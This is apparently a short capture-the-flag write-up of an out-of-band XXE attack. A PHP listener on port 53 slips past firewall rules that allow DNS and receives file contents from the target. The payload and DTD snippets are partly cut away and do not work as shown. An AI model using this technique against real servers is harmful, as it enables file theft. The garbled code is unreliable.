In the rules iptabes.sh is written.```sh## This should be one of the first rules.## so dns lookups are already allowed for your other rules$ IPT -A OUTPUT -p udp --dport 53 -m state --state NEW, ESTABLISHED -j ACCEPT$ IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT$ IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW, ESTABLISHED -j ACCEPT$ IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT```
Input and output on port 53 is enabled, we can approve of this rule.
In the challenge page we will send the payload.
![](https://github.com/andersongomes001/ctf_scripts/blob/master/FireShot%20Capture%20022%20-%20Resume%20-%2038.240.15.141.png?raw=true)
On the server let's open an http server on port 53.
start_server.sh```echo $(curl -s ifconfig.me/ip)systemctl stop systemd-resolvedphp -S 0.0.0.0:53```payload.xml```
<data>&sen;;</data>```file.dtd```
">%all;```
![](https://github.com/andersongomes001/ctf_scripts/blob/master/Captura%20de%20tela%20de%202019-11-11%2010-42-54.png?raw=true)